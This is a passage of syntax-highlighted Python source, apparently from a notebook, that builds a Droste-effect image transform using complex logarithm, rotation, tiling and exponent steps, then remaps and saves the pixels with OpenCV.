            &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;for&lt;/span&gt; j &lt;span style=&quot;font-weight: bold&quot;&gt;in&lt;/span&gt; range(-repeatXHalf, repeatXHalf + &lt;span style=&quot;color: #0000FF&quot;&gt;1&lt;/span&gt;):
                &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #0000FF&quot;&gt;0&lt;/span&gt; == repeatXHalf + j:
                    W2 = X + j * xOffset + (Y + &lt;span style=&quot;color: #0000FF&quot;&gt;2&lt;/span&gt; * np.pi * i) * &lt;span style=&quot;color: #0000FF&quot;&gt;1j&lt;/span&gt;
                &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;else&lt;/span&gt;:
                    W2 = np.concatenate([W2, X + j * xOffset + (Y + np.pi*&lt;span style=&quot;color: #0000FF&quot;&gt;2&lt;/span&gt;*i) * &lt;span style=&quot;color: #0000FF&quot;&gt;1j&lt;/span&gt;], axis=&lt;span style=&quot;color: #0000FF&quot;&gt;0&lt;/span&gt;)
            &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #0000FF&quot;&gt;0&lt;/span&gt; == repeatYHalf + i:
                W1 = W2
            &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;else&lt;/span&gt;:
                W1 = np.concatenate([W1, W2], axis=&lt;span style=&quot;color: #0000FF&quot;&gt;1&lt;/span&gt;)
        &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;return&lt;/span&gt; W1


    &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;def&lt;/span&gt; TILE2(self, W, X, Y, repeatX, repeatY):
        X = W.real
        Y = W.imag

        repeatYHalf = int((repeatY - &lt;span style=&quot;color: #0000FF&quot;&gt;1&lt;/span&gt;)/&lt;span style=&quot;color: #0000FF&quot;&gt;2&lt;/span&gt;)
        repeatXHalf = int((repeatX - &lt;span style=&quot;color: #0000FF&quot;&gt;1&lt;/span&gt;)/&lt;span style=&quot;color: #0000FF&quot;&gt;2&lt;/span&gt;)

        alpha = np.arctan2(np.log(max(self.r2,self.r1) / min(self.r1, self.r2)), &lt;span style=&quot;color: #0000FF&quot;&gt;2&lt;/span&gt; * np.pi) &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;# we need alpha to calculate the offsets&lt;/span&gt;
        cosine = np.cos(alpha)
        sine = np.sin(alpha)
        yOffset = &lt;span style=&quot;color: #0000FF&quot;&gt;2&lt;/span&gt; * np.pi * sine * sine
        xOffset = &lt;span style=&quot;color: #0000FF&quot;&gt;2&lt;/span&gt; * np.pi * sine * cosine

        &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;for&lt;/span&gt; i &lt;span style=&quot;font-weight: bold&quot;&gt;in&lt;/span&gt; range(-repeatYHalf, repeatYHalf + &lt;span style=&quot;color: #0000FF&quot;&gt;1&lt;/span&gt;):
            W2 = None
            &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;for&lt;/span&gt; j &lt;span style=&quot;font-weight: bold&quot;&gt;in&lt;/span&gt; range(-repeatXHalf, repeatXHalf + &lt;span style=&quot;color: #0000FF&quot;&gt;1&lt;/span&gt;):
                &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #0000FF&quot;&gt;0&lt;/span&gt; == repeatXHalf + j:
                    W2 = X + j * xOffset + ((Y + (&lt;span style=&quot;color: #0000FF&quot;&gt;2&lt;/span&gt; * np.pi * i + yOffset * j)) * &lt;span style=&quot;color: #0000FF&quot;&gt;1j&lt;/span&gt;)
                &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;else&lt;/span&gt;:
                    W2 = np.concatenate([W2, X + j * xOffset + ((Y + (&lt;span style=&quot;color: #0000FF&quot;&gt;2&lt;/span&gt; * np.pi * i + yOffset * j)) * &lt;span style=&quot;color: #0000FF&quot;&gt;1j&lt;/span&gt;)], axis=&lt;span style=&quot;color: #0000FF&quot;&gt;0&lt;/span&gt;)
            &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #0000FF&quot;&gt;0&lt;/span&gt; == repeatYHalf + i:
                W1 = W2
            &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;else&lt;/span&gt;:
                W1 = np.concatenate([W1, W2], axis=&lt;span style=&quot;color: #0000FF&quot;&gt;1&lt;/span&gt;)

        &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;return&lt;/span&gt; W1



    &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;def&lt;/span&gt; LogTransform(self, Z, r, c):
        &lt;span style=&quot;color: #0000FF&quot;&gt;&amp;#39;&amp;#39;&amp;#39;&lt;/span&gt;
&lt;span style=&quot;color: #0000FF&quot;&gt;        :param Z: Complex plane&lt;/span&gt;
&lt;span style=&quot;color: #0000FF&quot;&gt;        :param r: nbr of rows&lt;/span&gt;
&lt;span style=&quot;color: #0000FF&quot;&gt;        :param c: nbr of cols&lt;/span&gt;
&lt;span style=&quot;color: #0000FF&quot;&gt;        :return: np.log(z / min(r1, r2))&lt;/span&gt;
&lt;span style=&quot;color: #0000FF&quot;&gt;        &amp;#39;&amp;#39;&amp;#39;&lt;/span&gt;
        Z1 = np.zeros([r, c], dtype=complex)

        ZAbs = np.absolute(Z)
        elemetsToApplyTransformation = (self.r1 &amp;lt;= ZAbs) &amp;amp; (ZAbs &amp;lt;= self.r2)

        Z1[elemetsToApplyTransformation] = np.log(Z[elemetsToApplyTransformation])

        &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;return&lt;/span&gt; Z1


    &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;def&lt;/span&gt; ExponentTransform(self, Z, r, c, repeatX, repeatY):
        Z1 = Z[:r * repeatX, :c * repeatY].copy()
        Z1 = np.exp(Z)
        &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;return&lt;/span&gt; Z1


    &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;def&lt;/span&gt; RotationTransform(self, Z, r, c, repeatX, repeatY):
        Z1 = Z[:r * repeatX, :c * repeatY].copy()
        alpha = np.arctan2(np.log(self.r2 / self.r1), &lt;span style=&quot;color: #0000FF&quot;&gt;2&lt;/span&gt; * np.pi)
        f = np.cos(alpha)

        Z1 = Z * f * np.exp(&lt;span style=&quot;color: #0000FF&quot;&gt;1j&lt;/span&gt; * alpha)
        &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;return&lt;/span&gt; Z1


    &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;def&lt;/span&gt; Calculate(self, Z, r, c):
        &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;print&lt;/span&gt;(Z.shape)
        W1 = self.LogTransform(Z, r, c)
        &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;# self.ReCreateImageAndSave(W1, &amp;quot;log-{}.{}-{}.{}-{}.jpg&amp;quot;.format(0, self.r1, self.r2, 1, 1), r, c, 1, 1)&lt;/span&gt;

        W1 = self.RotationTransform(W1, r, c, &lt;span style=&quot;color: #0000FF&quot;&gt;1&lt;/span&gt;, &lt;span style=&quot;color: #0000FF&quot;&gt;1&lt;/span&gt;)
        &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;# self.ReCreateImageAndSave(W1, &amp;quot;rot-{}.{}-{}.{}-{}.jpg&amp;quot;.format(0, self.r1, self.r2, 1, 1), r, c, 1, 1)&lt;/span&gt;

        repeatX = self.repeatsX
        repeatY = self.repeatsY
        W1 = self.TILE2(W1, r, c, repeatX, repeatY)
        &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;print&lt;/span&gt;(W1.shape)
        &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;# self.ReCreateImageAndSave(W1, &amp;quot;tile-{}.{}-{}.{}-{}.jpg&amp;quot;.format(0, self.r1, self.r2, repeatX, repeatY), r, c, repeatX, repeatY)&lt;/span&gt;

        W1 = self.ExponentTransform(W1, r, c, repeatX, repeatY)
        self.ReCreateImageAndSave(W1, &lt;span style=&quot;color: #0000FF&quot;&gt;&amp;quot;final-{}.{}-{}.{}-{}.jpg&amp;quot;&lt;/span&gt;.format(&lt;span style=&quot;color: #0000FF&quot;&gt;0&lt;/span&gt;, self.r1, self.r2, repeatX, repeatY), r, c, repeatX, repeatY)
        &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;return&lt;/span&gt; W1
        
    &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;def&lt;/span&gt; Calculate1(self, Z, r, c):
        &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;print&lt;/span&gt;(Z.shape)
        &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;# apply Ln(z/r1)&lt;/span&gt;
        W1 = self.LogTransform(Z, r, c)
        &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;# self.ReCreateImageAndSave(W1, &amp;quot;log-{}.{}-{}.{}-{}.jpg&amp;quot;.format(1, self.r1, self.r2, 1, 1), r, c, 1, 1)&lt;/span&gt;

        &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;# choose how many tiles we want to add&lt;/span&gt;
        repeatX = self.repeatsX
        repeatY = self.repeatsY
        &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;# apply Tile&lt;/span&gt;
        W1 = self.TILE(W1, r, c, repeatX, repeatY)
        &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;print&lt;/span&gt;(W1.shape)
        &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;# self.ReCreateImageAndSave(W1, &amp;quot;rot-{}.{}-{}.{}-{}.jpg&amp;quot;.format(1, self.r1, self.r2, repeatX, repeatY), r, c, repeatX, repeatY)&lt;/span&gt;

        &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;# apply Rotation&lt;/span&gt;
        W1 = self.RotationTransform(W1, r, c, repeatX, repeatY)
        &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;# self.ReCreateImageAndSave(W1, &amp;quot;tile-{}.{}-{}.{}-{}.jpg&amp;quot;.format(1, self.r1, self.r2, repeatX, repeatY), r, c, repeatX, repeatY)&lt;/span&gt;

        &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;# apply exponent&lt;/span&gt;
        W1 = self.ExponentTransform(W1, r, c, repeatX, repeatY)
        self.ReCreateImageAndSave(W1, &lt;span style=&quot;color: #0000FF&quot;&gt;&amp;quot;final-{}.{}-{}.{}-{}.jpg&amp;quot;&lt;/span&gt;.format(&lt;span style=&quot;color: #0000FF&quot;&gt;1&lt;/span&gt;, self.r1, self.r2, repeatX, repeatY), r, c, repeatX, repeatY)
        &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;return&lt;/span&gt; W1
        Image(open(W1, &lt;span style=&quot;color: #0000FF&quot;&gt;&amp;quot;final-{}.{}-{}.{}-{}.jpg&amp;quot;&lt;/span&gt;.format(&lt;span style=&quot;color: #0000FF&quot;&gt;0&lt;/span&gt;, self.r1, self.r2, repeatX, repeatY), r, c, repeatX, repeatY,&lt;span style=&quot;color: #0000FF&quot;&gt;&amp;#39;rb&amp;#39;&lt;/span&gt;).read())


    &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;def&lt;/span&gt; makeNewXY(self, W, wmax, x):
        &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;return&lt;/span&gt; np.multiply(np.add(np.divide(W, wmax), &lt;span style=&quot;color: #0000FF&quot;&gt;1&lt;/span&gt;), x / &lt;span style=&quot;color: #0000FF&quot;&gt;2&lt;/span&gt;)

    &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;def&lt;/span&gt; GetNewXY(self, W, r, c, repeatX, repeatY):
        Wx = np.real(W)
        Wy = np.imag(W)
        wxmax = np.absolute(Wx).max()
        wymax = np.absolute(Wy).max()
        XNew = self.makeNewXY(Wx, wxmax, c * repeatY)
        YNew = self.makeNewXY(Wy, wymax, r * repeatX)
        &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;return&lt;/span&gt; XNew, YNew

    &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;def&lt;/span&gt; ReCreateImage(self, Xnew, Ynew, img, r, c, repeatX, repeatY):
        &lt;span style=&quot;color: #0000FF&quot;&gt;&amp;#39;&amp;#39;&amp;#39;&lt;/span&gt;
&lt;span style=&quot;color: #0000FF&quot;&gt;        :param Xnew:&lt;/span&gt;
&lt;span style=&quot;color: #0000FF&quot;&gt;        :param Ynew:&lt;/span&gt;
&lt;span style=&quot;color: #0000FF&quot;&gt;        :param img:&lt;/span&gt;
&lt;span style=&quot;color: #0000FF&quot;&gt;        :param r:&lt;/span&gt;
&lt;span style=&quot;color: #0000FF&quot;&gt;        :param c:&lt;/span&gt;
&lt;span style=&quot;color: #0000FF&quot;&gt;        :param repeat:&lt;/span&gt;
&lt;span style=&quot;color: #0000FF&quot;&gt;        :return: A matrix representing the pic in the new coordinates&lt;/span&gt;
&lt;span style=&quot;color: #0000FF&quot;&gt;        &amp;#39;&amp;#39;&amp;#39;&lt;/span&gt;
        &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;# newImg = np.zeros([r * repeatX, c * repeatY, 3])&lt;/span&gt;
        imgList = img.tolist()
        XnewList = Xnew.tolist()
        YnewList = Ynew.tolist()
        newImgList = [[[&lt;span style=&quot;color: #0000FF&quot;&gt;0&lt;/span&gt;, &lt;span style=&quot;color: #0000FF&quot;&gt;0&lt;/span&gt;, &lt;span style=&quot;color: #0000FF&quot;&gt;0&lt;/span&gt;] &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;for&lt;/span&gt; j &lt;span style=&quot;font-weight: bold&quot;&gt;in&lt;/span&gt; range(c * repeatY)] &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;for&lt;/span&gt; i &lt;span style=&quot;font-weight: bold&quot;&gt;in&lt;/span&gt; range(r * repeatX)]
        &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;for&lt;/span&gt; i &lt;span style=&quot;font-weight: bold&quot;&gt;in&lt;/span&gt; range(r * repeatX):
            &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;for&lt;/span&gt; j &lt;span style=&quot;font-weight: bold&quot;&gt;in&lt;/span&gt; range(c * repeatY):
                &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;if&lt;/span&gt; int(XnewList[i][j]) == c * repeatY:
                    XnewList[i][j] = c * repeatY - &lt;span style=&quot;color: #0000FF&quot;&gt;1&lt;/span&gt;
                &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;if&lt;/span&gt; int(YnewList[i][j]) == r * repeatX:
                    YnewList[i][j] = r * repeatX - &lt;span style=&quot;color: #0000FF&quot;&gt;1&lt;/span&gt;
                newImgList[int(YnewList[i][j])][int(XnewList[i][j])] = imgList[i % r][j % c][:&lt;span style=&quot;color: #0000FF&quot;&gt;3&lt;/span&gt;] &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;# extract RGB from inputImage&lt;/span&gt;
        newImg = np.array(newImgList)
        &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;return&lt;/span&gt; newImg

    &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;# I know this is overkill&lt;/span&gt;
    &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;# need to find a opencv equivalent&lt;/span&gt;
    &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;# if you know tell me plz :)&lt;/span&gt;
    &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;def&lt;/span&gt; FixBlackPixels(self, img, r, c, repeatX, repeatY):
        &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;global&lt;/span&gt; image, limitR, limitC
        black = [&lt;span style=&quot;color: #0000FF&quot;&gt;0&lt;/span&gt;,&lt;span style=&quot;color: #0000FF&quot;&gt;0&lt;/span&gt;,&lt;span style=&quot;color: #0000FF&quot;&gt;0&lt;/span&gt;]
        image = img
        limitR = r * repeatX - &lt;span style=&quot;color: #0000FF&quot;&gt;1&lt;/span&gt;
        limitC = c * repeatY - &lt;span style=&quot;color: #0000FF&quot;&gt;1&lt;/span&gt;
        imgList = img.tolist()
        &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;for&lt;/span&gt; i &lt;span style=&quot;font-weight: bold&quot;&gt;in&lt;/span&gt; range(limitR):
            &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;for&lt;/span&gt; j &lt;span style=&quot;font-weight: bold&quot;&gt;in&lt;/span&gt; range(limitC):
                &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;if&lt;/span&gt; imgList[i][j] == black:
                    n = &lt;span style=&quot;color: #0000FF&quot;&gt;0&lt;/span&gt;
                    temp = [&lt;span style=&quot;color: #0000FF&quot;&gt;0&lt;/span&gt;,&lt;span style=&quot;color: #0000FF&quot;&gt;0&lt;/span&gt;,&lt;span style=&quot;color: #0000FF&quot;&gt;0&lt;/span&gt;]
                    &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;# diagonal screws the result&lt;/span&gt;
                    &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;for&lt;/span&gt; u, v &lt;span style=&quot;font-weight: bold&quot;&gt;in&lt;/span&gt; [(&lt;span style=&quot;color: #0000FF&quot;&gt;1&lt;/span&gt;, &lt;span style=&quot;color: #0000FF&quot;&gt;0&lt;/span&gt;), (-&lt;span style=&quot;color: #0000FF&quot;&gt;1&lt;/span&gt;, &lt;span style=&quot;color: #0000FF&quot;&gt;0&lt;/span&gt;), (&lt;span style=&quot;color: #0000FF&quot;&gt;2&lt;/span&gt;, &lt;span style=&quot;color: #0000FF&quot;&gt;0&lt;/span&gt;), (-&lt;span style=&quot;color: #0000FF&quot;&gt;2&lt;/span&gt;, &lt;span style=&quot;color: #0000FF&quot;&gt;0&lt;/span&gt;), (&lt;span style=&quot;color: #0000FF&quot;&gt;0&lt;/span&gt;, &lt;span style=&quot;color: #0000FF&quot;&gt;1&lt;/span&gt;), (&lt;span style=&quot;color: #0000FF&quot;&gt;0&lt;/span&gt;, -&lt;span style=&quot;color: #0000FF&quot;&gt;1&lt;/span&gt;), (&lt;span style=&quot;color: #0000FF&quot;&gt;0&lt;/span&gt;, &lt;span style=&quot;color: #0000FF&quot;&gt;2&lt;/span&gt;), (&lt;span style=&quot;color: #0000FF&quot;&gt;0&lt;/span&gt;, -&lt;span style=&quot;color: #0000FF&quot;&gt;2&lt;/span&gt;)]:
                        &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;font-weight: bold&quot;&gt;not&lt;/span&gt; (u == &lt;span style=&quot;color: #0000FF&quot;&gt;0&lt;/span&gt; &lt;span style=&quot;font-weight: bold&quot;&gt;and&lt;/span&gt; v == &lt;span style=&quot;color: #0000FF&quot;&gt;0&lt;/span&gt;):
                            &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #0000FF&quot;&gt;0&lt;/span&gt; &amp;lt;= i + u &lt;span style=&quot;font-weight: bold&quot;&gt;and&lt;/span&gt; i + u &amp;lt;= limitR &lt;span style=&quot;font-weight: bold&quot;&gt;and&lt;/span&gt; &lt;span style=&quot;color: #0000FF&quot;&gt;0&lt;/span&gt;&amp;lt;= j + v &lt;span style=&quot;font-weight: bold&quot;&gt;and&lt;/span&gt; j + v &amp;lt;= limitC:
                                &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;if&lt;/span&gt; imgList[i + u][j + v] != black:
                                    n += &lt;span style=&quot;color: #0000FF&quot;&gt;1&lt;/span&gt;
                                    temp = [imgList[i + u][j + v][k] + temp[k] &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;for&lt;/span&gt; k &lt;span style=&quot;font-weight: bold&quot;&gt;in&lt;/span&gt; range(&lt;span style=&quot;color: #0000FF&quot;&gt;3&lt;/span&gt;)]
                    &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;if&lt;/span&gt; n != &lt;span style=&quot;color: #0000FF&quot;&gt;0&lt;/span&gt;:
                        imgList[i][j] = [temp[k] / n &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;for&lt;/span&gt; k &lt;span style=&quot;font-weight: bold&quot;&gt;in&lt;/span&gt; range(&lt;span style=&quot;color: #0000FF&quot;&gt;3&lt;/span&gt;)]

        img = np.array(imgList)
        &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;return&lt;/span&gt; img



    &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;def&lt;/span&gt; ReCreateImageAndSave(self, W, imgTitle, r, c, repeatX, repeatY):
        xNew, yNew = self.GetNewXY(W, r, c, repeatX, repeatY)
        img = self.ReCreateImage(xNew, yNew, self.inputImg, r, c, repeatX, repeatY)
        img = self.FixBlackPixels(img, r, c, repeatX, repeatY)

        &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;# img[blackPixels] = cv2.blur(img.astype(np.float32), (5, 5))&lt;/span&gt;
        &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;# img = cv2.medianBlur(img.astype(np.float32), 5)&lt;/span&gt;
        cv2.imwrite(self.resultFolderAddress + &lt;span style=&quot;color: #0000FF&quot;&gt;&amp;#39;/&amp;#39;&lt;/span&gt; + imgTitle, img)


&lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;def&lt;/span&gt; only_odd():
  lst = []
  &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;for&lt;/span&gt; i &lt;span style=&quot;font-weight: bold&quot;&gt;in&lt;/span&gt; range(&lt;span style=&quot;color: #0000FF&quot;&gt;0&lt;/span&gt;,&lt;span style=&quot;color: #0000FF&quot;&gt;100&lt;/span&gt;):
    ele = int(i)
    lst.append(ele)
  &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;return&lt;/span&gt; [num &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;for&lt;/span&gt; num &lt;span style=&quot;font-weight: bold&quot;&gt;in&lt;/span&gt; lst &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;if&lt;/span&gt; num % &lt;span style=&quot;color: #0000FF&quot;&gt;2&lt;/span&gt; == &lt;span style=&quot;color: #0000FF&quot;&gt;1&lt;/span&gt;]


&lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;def&lt;/span&gt; GetCommandLineArgs():
    &lt;span style=&quot;color: #0000FF&quot;&gt;&amp;#39;&amp;#39;&amp;#39;&lt;/span&gt;
&lt;span style=&quot;color: #0000FF&quot;&gt;    Gets command line argumets, does some error checking.&lt;/span&gt;
&lt;span style=&quot;color: #0000FF&quot;&gt;    :return: command line arguments&lt;/span&gt;
&lt;span style=&quot;color: #0000FF&quot;&gt;             fPath must be valid&lt;/span&gt;
&lt;span style=&quot;color: #0000FF&quot;&gt;             method must be 0 or 1&lt;/span&gt;
&lt;span style=&quot;color: #0000FF&quot;&gt;             repeats must be positive and odd&lt;/span&gt;
&lt;span style=&quot;color: #0000FF&quot;&gt;    &amp;#39;&amp;#39;&amp;#39;&lt;/span&gt;  
    &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;#@markdown Address of input picture&lt;/span&gt;
    fPath = &lt;span style=&quot;color: #0000FF&quot;&gt;&amp;#39;/content/test.jpg&amp;#39;&lt;/span&gt; &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;#@param {type:&amp;quot;string&amp;quot;}&lt;/span&gt;
    &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;#@markdown Method number is either 0 or 1&lt;/span&gt;
    method_ = &lt;span style=&quot;color: #0000FF&quot;&gt;&amp;quot;0&amp;quot;&lt;/span&gt; &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;#@param [0, 1] &lt;/span&gt;
    &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;#@markdown RepeatsX must be positive and odd&lt;/span&gt;
    repeatsX_ = &lt;span style=&quot;color: #0000FF&quot;&gt;&amp;quot;3&amp;quot;&lt;/span&gt; &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;#@param [1, 3, 5, 7, 9]&lt;/span&gt;
    &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;#@markdown RepeatsY must be positive and odd&lt;/span&gt;
    repeatsY_ = &lt;span style=&quot;color: #0000FF&quot;&gt;&amp;quot;5&amp;quot;&lt;/span&gt; &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;#@param [1, 3, 5, 7, 9]&lt;/span&gt;
    method = int(method_)
    repeatsX = int(repeatsX_)
    repeatsY = int(repeatsY_)
    &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;font-weight: bold&quot;&gt;not&lt;/span&gt; os.path.isfile(fPath):
      &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;print&lt;/span&gt;(&lt;span style=&quot;color: #0000FF&quot;&gt;&amp;quot;Input picture does not exist&amp;quot;&lt;/span&gt;)
    &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;font-weight: bold&quot;&gt;not&lt;/span&gt; (method == &lt;span style=&quot;color: #0000FF&quot;&gt;0&lt;/span&gt; &lt;span style=&quot;font-weight: bold&quot;&gt;or&lt;/span&gt; method == &lt;span style=&quot;color: #0000FF&quot;&gt;1&lt;/span&gt;):
      &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;print&lt;/span&gt;(&lt;span style=&quot;color: #0000FF&quot;&gt;&amp;quot;Method must be 0 or 1&amp;quot;&lt;/span&gt;)
    &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;if&lt;/span&gt; repeatsX &amp;lt;= &lt;span style=&quot;color: #0000FF&quot;&gt;0&lt;/span&gt; &lt;span style=&quot;font-weight: bold&quot;&gt;or&lt;/span&gt; repeatsX &amp;amp; &lt;span style=&quot;color: #0000FF&quot;&gt;1&lt;/span&gt; == &lt;span style=&quot;color: #0000FF&quot;&gt;0&lt;/span&gt;:
      &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;print&lt;/span&gt;(&lt;span style=&quot;color: #0000FF&quot;&gt;&amp;quot;Repeats must be positive and odd&amp;quot;&lt;/span&gt;)
    &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;if&lt;/span&gt; repeatsY &amp;lt;= &lt;span style=&quot;color: #0000FF&quot;&gt;0&lt;/span&gt; &lt;span style=&quot;font-weight: bold&quot;&gt;or&lt;/span&gt; repeatsY &amp;amp; &lt;span style=&quot;color: #0000FF&quot;&gt;1&lt;/span&gt; == &lt;span style=&quot;color: #0000FF&quot;&gt;0&lt;/span&gt;:
      &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;print&lt;/span&gt;(&lt;span style=&quot;color: #0000FF&quot;&gt;&amp;quot;Repeats must be positive and odd&amp;quot;&lt;/span&gt;)
    &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;return&lt;/span&gt; fPath, method, repeatsX, repeatsY
  

&lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;def&lt;/span&gt; CreateOutputFolder(inputImagePath, repeatsX, repeatsY, method, r1, r2):
    &lt;span style=&quot;color: #0000FF&quot;&gt;&amp;#39;&amp;#39;&amp;#39;&lt;/span&gt;
&lt;span style=&quot;color: #0000FF&quot;&gt;    :param inputImagePath: address of our input image&lt;/span&gt;
&lt;span style=&quot;color: #0000FF&quot;&gt;    :param repeats:        number of repeats&lt;/span&gt;
&lt;span style=&quot;color: #0000FF&quot;&gt;    :return: address of the result folder&lt;/span&gt;
&lt;span style=&quot;color: #0000FF&quot;&gt;    &amp;#39;&amp;#39;&amp;#39;&lt;/span&gt;
    inputImageName = inputImagePath.split(&lt;span style=&quot;color: #0000FF&quot;&gt;&amp;#39;/&amp;#39;&lt;/span&gt;)[-&lt;span style=&quot;color: #0000FF&quot;&gt;1&lt;/span&gt;] &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;# extract input image name&lt;/span&gt;
    outputFolder = &lt;span style=&quot;color: #0000FF&quot;&gt;&amp;quot;OutputImages/&amp;quot;&lt;/span&gt;        &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;# pictures will be stored&lt;/span&gt;

    resultFolderAddress = outputFolder + inputImageName + &lt;span style=&quot;color: #0000FF&quot;&gt;&amp;quot;-{}.{}-{}.{}-{}.jpg&amp;quot;&lt;/span&gt;.format(method, r1, r2, repeatsX, repeatsY) &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;# the folder that our code is stored in&lt;/span&gt;
    &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;font-weight: bold&quot;&gt;not&lt;/span&gt; os.path.exists(resultFolderAddress): &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;# create the result folder&lt;/span&gt;
        os.makedirs(resultFolderAddress)
    &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;return&lt;/span&gt; resultFolderAddress

&lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;def&lt;/span&gt; main():
    inputImagePath, method, repeatsX, repeatsY = GetCommandLineArgs()
    &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;# We have two methods of calculating the result&lt;/span&gt;
    &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;# 0: Ln -&amp;gt; Rotate -&amp;gt; Tile   -&amp;gt; exponent&lt;/span&gt;
